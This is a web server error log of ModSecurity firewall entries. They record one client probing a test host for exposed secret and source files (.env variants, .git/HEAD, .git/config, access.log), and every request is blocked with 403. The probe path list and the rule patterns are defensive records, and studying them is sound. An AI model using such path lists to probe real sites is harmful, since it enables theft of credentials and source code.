[Sun Mar 22 01:06:27.438660 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.local&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpQAAAAI&quot;]
[Sun Mar 22 01:06:27.438854 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.local&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpQAAAAI&quot;]
[Sun Mar 22 01:06:27.439005 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.local&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpQAAAAI&quot;]
[Sun Mar 22 01:06:27.460847 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpgAAAAI&quot;]
[Sun Mar 22 01:06:27.461076 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpgAAAAI&quot;]
[Sun Mar 22 01:06:27.461270 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpgAAAAI&quot;]
[Sun Mar 22 01:06:27.461404 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpgAAAAI&quot;]
[Sun Mar 22 01:06:27.483479 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.save&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpwAAAAI&quot;]
[Sun Mar 22 01:06:27.483677 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.save&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpwAAAAI&quot;]
[Sun Mar 22 01:06:27.483806 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.save&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpwAAAAI&quot;]
[Sun Mar 22 01:06:27.505727 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env~&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqAAAAAI&quot;]
[Sun Mar 22 01:06:27.505926 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env~&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqAAAAAI&quot;]
[Sun Mar 22 01:06:27.506056 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env~&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqAAAAAI&quot;]
[Sun Mar 22 01:06:27.528055 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqQAAAAI&quot;]
[Sun Mar 22 01:06:27.528242 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqQAAAAI&quot;]
[Sun Mar 22 01:06:27.528366 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqQAAAAI&quot;]
[Sun Mar 22 01:06:27.550546 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/HEAD&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqgAAAAI&quot;]
[Sun Mar 22 01:06:27.550734 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/HEAD&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqgAAAAI&quot;]
[Sun Mar 22 01:06:27.550871 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/HEAD&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqgAAAAI&quot;]
[Sun Mar 22 01:06:27.572925 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqwAAAAI&quot;]
[Sun Mar 22 01:06:27.573116 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqwAAAAI&quot;]
[Sun Mar 22 01:06:27.573266 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBqwAAAAI&quot;]
[Sun Mar 22 01:06:27.595301 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/logs/HEAD&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrAAAAAI&quot;]
[Sun Mar 22 01:06:27.595489 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/logs/HEAD&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrAAAAAI&quot;]
[Sun Mar 22 01:06:27.595619 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/logs/HEAD&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrAAAAAI&quot;]
[Sun Mar 22 01:06:27.617805 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /site/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.gitignore&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrQAAAAI&quot;]
[Sun Mar 22 01:06:27.617990 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.gitignore&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrQAAAAI&quot;]
[Sun Mar 22 01:06:27.618142 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.gitignore&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrQAAAAI&quot;]
[Sun Mar 22 01:06:27.639918 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/access.log&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrgAAAAI&quot;]
[Sun Mar 22 01:06:27.640287 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/access.log&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrgAAAAI&quot;]
[Sun Mar 22 01:06:27.640413 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/access.log&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBrgAAAAI&quot;]
